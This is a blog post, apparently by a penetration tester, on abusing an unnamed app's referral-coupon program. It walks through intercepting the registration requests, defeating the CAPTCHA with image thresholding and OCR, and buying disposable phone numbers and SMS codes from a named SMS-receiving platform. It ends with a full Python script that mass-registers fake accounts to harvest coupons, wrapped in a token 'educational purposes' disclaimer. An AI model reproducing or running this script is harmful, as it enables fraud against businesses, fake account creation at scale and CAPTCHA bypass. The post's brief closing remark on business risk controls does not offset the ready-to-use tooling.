Exploiting Freebies: How Gray and Black Markets Manipulate Coupons and Referral Programs

Whenever the topic of exploiting freebies comes up, my first thought is always about gray and black markets. The most typical examples are the recent cases involving Pinduoduo’s coupons and Starbucks’ free coffee offers, which were exploited to an extreme degree. Although I’m not involved in such activities, as a penetration tester, I inevitably come across these scenarios from time to time. Moreover, I’ve heard BSRC experts share insights on this topic during my time at UESTC. While analyzing some business scenarios today, I stumbled upon a potential freebie opportunity (cue sarcastic laughter). So, I quickly wrote a script to automate the process and let it run.

exploiting freebies

Table of Contents

What is Exploiting Freebies?

People often mispronounce this word. It’s pronounced hāo!

Definition from Baidu Encyclopedia:

It refers to a group of primarily young people who take a keen interest in promotional activities offered by banks, financial institutions, and various merchants. These individuals collect promotional information, such as discounts and freebies, and share it widely online and within their social circles. This behavior is termed “exploiting freebies.” The definition has since broadened beyond the financial sector to include other areas, such as ride-hailing apps offering vouchers, food delivery discounts, and free mobile data or talk time promotions.

Today, I tested two apps. Since both were exploitable, I won’t disclose their names. I’ll analyze one of them as an example. Many apps have referral programs that reward users for inviting new sign-ups. These promotions are typically designed to attract customers by offering discounts. While regular users follow the standard process to obtain coupons, gray and black markets exploit these systems for profit by using code-receiving platforms, CAPTCHA-solving services, and app vulnerabilities to impersonate legitimate users.

Here’s a screenshot of the app’s referral page:

exploiting freebies

Users receive a $10 coupon upon successful registration. Let’s follow the normal business logic first. Click “Share.”

Since SMS sharing is an option, we can simply share via SMS to obtain the referral link without actually sending it out.

After copying the URL, open it in a browser:

First impression: Wow, this is so basic! There’s no user-agent restriction, and no mobile-optimized page. It’s clearly designed for mobile browsers. If the webpage is this simple, its security measures are likely weak as well.

Did you notice the CAPTCHA? It looks like an old-school numeric CAPTCHA with some noise, but it’s not challenging at all. A single line of code can solve it.

Next, I registered using another phone number while monitoring the process with Charles Proxy. Why not Burp Suite? Because Charles has a more user-friendly interface than Fiddler.

Requesting the SMS verification code and inspecting the data packets in Charles:

After entering the six-digit code, I completed the registration process and observed the data packets again:

At this point, I received a notification on my phone confirming the coupon.

If the above steps represent the normal user flow, it’s now time to showcase some real technical skills!

We need to focus on analyzing three key data packets:

The registration flow involves the following URLs (listed in reverse order for easier analysis):

  • http://xxxxx/app/registration.html?mecode=xxxxx

This is the referral link. The “mecode” parameter is the referral code, and the coupon is credited to the account associated with this code. This is the only GET request; the other three are POST requests.

  • http://xxxxx/los/zuche-intf-login.graphicTokenImg

This URL fetches the CAPTCHA image. Upon inspection using browser developer tools:

We see that the CAPTCHA isn’t a direct image URL but a Base64-encoded string. This encoding facilitates transmission, and decoding it is straightforward:

  • http://xxxxx/los/zuche-intf-login.sendAllSmsOTP

This endpoint triggers the SMS verification code and validates the CAPTCHA. For efficient analysis, refer to my earlier article:

A Quick API Testing Trick (Python)

  • http://xxxxx/los/zuche-intf-login.registUser

This endpoint verifies the SMS code. If successful, the new user is registered, and the coupon is credited to the account.

140, mode=’1′).save(‘temp_.png’)
im = Image.open(‘temp_.png’)
code = pytesseract.image_to_string(im)
print(‘Image CAPTCHA successfully recognized:’, code)

Next, we process the CAPTCHA. Many people struggle with CAPTCHA handling or immediately think of using CAPTCHA-solving platforms. However, it’s not always that complicated. Not all CAPTCHAs are difficult to handle. At least in this case, the CAPTCHA is relatively simple. Even for more complex ones, you can use convolutional neural networks (CNNs) to solve them, provided you have the time and expertise. If you’re interested, you can refer to one of my previous articles:

[Building a Convolutional Neural Network with Keras to Recognize CAPTCHAs](https://zgao.top/%e5%9f%ba%e4%ba%8ekeras%e6%9e%84%e5%bb%ba%e5%8d%b7%e7%a7%af%e7%a5%9e%e7%bb%8f%e7%bd%91%e7%bb%9c%e8%af%86%e5%88%ab%e6%ad%a3%e6%96%b9%e7%b3%bb%e7%bb%9f%e9%aa%8c%e8%af%81%e7%a0%81/)

In this case, since the CAPTCHA is neat and clean, we directly use an anonymous function for binarization to remove noise.

python
im = im.point(lambda i: i > 140, mode=’1′)

The value `140` was determined through experimentation. Feel free to tweak this value and observe the results—it’s quite interesting.

After processing, the CAPTCHA looks like this:

Now, when we pass it to OCR for recognition, the accuracy is impressively high. Note that you need to install the `pytesseract` library beforehand.

With that, the CAPTCHA is successfully handled.

—

The rest of the script-writing process doesn’t require much detailed analysis; it’s just about capturing packets and sending data.

However, since we’re exploiting loopholes here, the principle is clear. But how do we handle mobile verification codes? The answer is **SMS Receiving Platforms**.

—

What is an SMS Receiving Platform?

An SMS receiving platform collects a large number of “blacklisted” SIM cards and provides services for receiving and sending SMS verification codes. In daily life, when we want to use a specific online service, we often need to register a personal account. These platforms typically send a verification code via SMS to confirm and authenticate the user.

For black-market operations that require registering a large number of accounts but lack sufficient phone numbers, SMS receiving platforms come into play.

These platforms primarily use “SIM pools” to manage a large number of SIM cards. By leveraging the SMS reading capabilities of SIM pool devices, they build platforms that allow users to obtain phone numbers and verification codes. Users only need to call the platform’s API to automate the process of receiving verification codes.

For example, I used an SMS receiving platform called **[91ma.me](http://91ma.me)**, which I found quite user-friendly.

The rest of the script simply follows the API documentation provided by the platform. Currently, the cost of a single verification code is around 0.1 yuan. I’ve been using this platform for a while now. If you know of better SMS receiving platforms, feel free to recommend them to me!

—

Here’s the complete script. Since it was written casually, it’s not very well-structured. Please bear with me!

python
import requests
import json
import sys
import time
import base64
from PIL import Image
import pytesseract
import re

mecode = ‘Your Invitation Code’

headers = {
‘Host’: ‘xxxxxxxx’,
‘Accept’: ‘application/json’,
‘Origin’: ‘http://xxxxxxxx’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36’,
‘Content-Type’: ‘application/json;charset=UTF-8’,
‘Referer’: ‘http://xxxxxxxx/app/registration.html?mecode=4UU2B8Vc’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,ja;q=0.8’,
}

r0 = requests.get(‘http://api.fxhyd.cn/UserInterface.aspx?action=login&username=YourUsername&password=YourPassword’)
if ‘success’ not in r0.text:
sys.exit(1)
print(‘Successfully logged into the SMS receiving platform!’)
token = r0.text.split(‘|’)[1]

r1 = requests.get(f’http://api.fxhyd.cn/UserInterface.aspx?action=getaccountinfo&token={token}’)
if ‘success’ not in r1.text:
sys.exit(2)
print(f’Current balance: {r1.text.split(“|”)[4]} yuan’)

timestamp = int(time.time())
r2 = requests.get(f’http://api.fxhyd.cn/UserInterface.aspx?action=getmobile&token={token}&itemid=7372&excludeno=170.171.188&timestamp={timestamp}’)
if ‘success’ not in r2.text:
print(r2.text)
sys.exit(3)
PhoneNum = r2.text.split(‘|’)[1]
print(f’Current phone number obtained: {PhoneNum}’)

params = “{‘mecode’:’4UU2B8Vc’}”
data = ‘{“_channel_id”:”08″,”_client_version_no”:”1.0″}’

r = requests.session()
rs = r.get(‘http://xxxxxxxx/app/registration.html’, headers=headers, params=params, verify=False)
rs = r.post(‘http://xxxxxxxx/los/zuche-intf-login.graphicTokenImg’, headers=headers, data=data)
ImgBase = json.loads(rs.text)[‘model’][‘_content_’]

with open(‘temp.png’, ‘wb’) as f:
f.write(base64.b64decode(ImgBase))
im = Image.open(‘temp.png’)
im = im.convert(‘L’)
im = im.point(lambda i: i > 140, mode=’1′).save(‘temp_.png’)
im = Image.open(‘temp_.png’)
code = pytesseract.image_to_string(im)
print(‘Image CAPTCHA successfully recognized:’, code)

data = ‘{“_channel_id”:”08″,”_client_version_no”:”1.0″,”otpType”:”regist”,”phone”:”%s”,”dynamicToken”:”%s”}’ % (PhoneNum, code)
r3 = r.post(‘http://xxxxxxxx/los/zuche-intf-login.sendAllSmsOTP’, headers=headers, data=data)

if json.loads(r3.text)[‘responseCode’] == ‘000000’:
print(‘Successfully triggered the platform to send a verification code!’)

for i in range(10):
r4 = requests.get(f’http://api.fxhyd.cn/UserInterface.aspx?action=getsms&token={token}&itemid=7372&mobile={PhoneNum}&release=1&timestamp={timestamp}’)
if ‘3001’ in r4.text:
print(f’Waiting for verification code… Attempt {i + 1}’)
time.sleep(3)
if i == 9:
print(‘Verification code retrieval took too long. Stopping…’)
r5 = requests.get(f’http://api.fxhyd.cn/UserInterface.aspx?action=release&token={token}&itemid=7372&mobile={PhoneNum}’)
if ‘success’ in r5.text:
print(‘Phone number successfully released!’)
sys.exit(4)
if ‘success’ in r4.text:
VerifyCode = re.search(‘[0-9]{6}’, r4.text).group()
print(f’Verification code successfully retrieved: {VerifyCode}’)
break

data = ‘{“_channel_id”:”08″,”_client_version_no”:”1.0″,”inviteCode”:”%s”,”medCode”:””,”source”:””,”cityId”:””,”phone”:”%s”,”phoneCheckCode”:”%s”}’ % (mecode, PhoneNum, VerifyCode)

r6 = r.post(‘http://xxxxxxxx/los/zuche-intf-login.registUser’, headers=headers, data=data)
if json.loads(r6.text)[‘responseCode’] == ‘000000’:
print(‘Coupon successfully claimed!’)

—

Disclaimer

The above code is for educational purposes only. Do not use it for illegal activities! The author is not responsible for any misuse.

—

And with that, we’ve automated the process of exploiting this loophole. Happy hacking (just kidding)! 😄

Then, in my mobile app, I suddenly had a ton of…

Let me make this clear: I do not engage in black-hat or gray-hat activities. I am a security professional, and I absolutely refuse to use these coupons that I’ve discovered through my own research!!!

Alright, let’s not dwell on that. So, how can we prevent or at least minimize being exploited in this way?

Do some research on countermeasures against black-hat and gray-hat activities. For businesses, it’s absolutely critical to establish a robust risk control system!!! Otherwise, you might end up in a situation as painful as the one Pinduoduo experienced last time.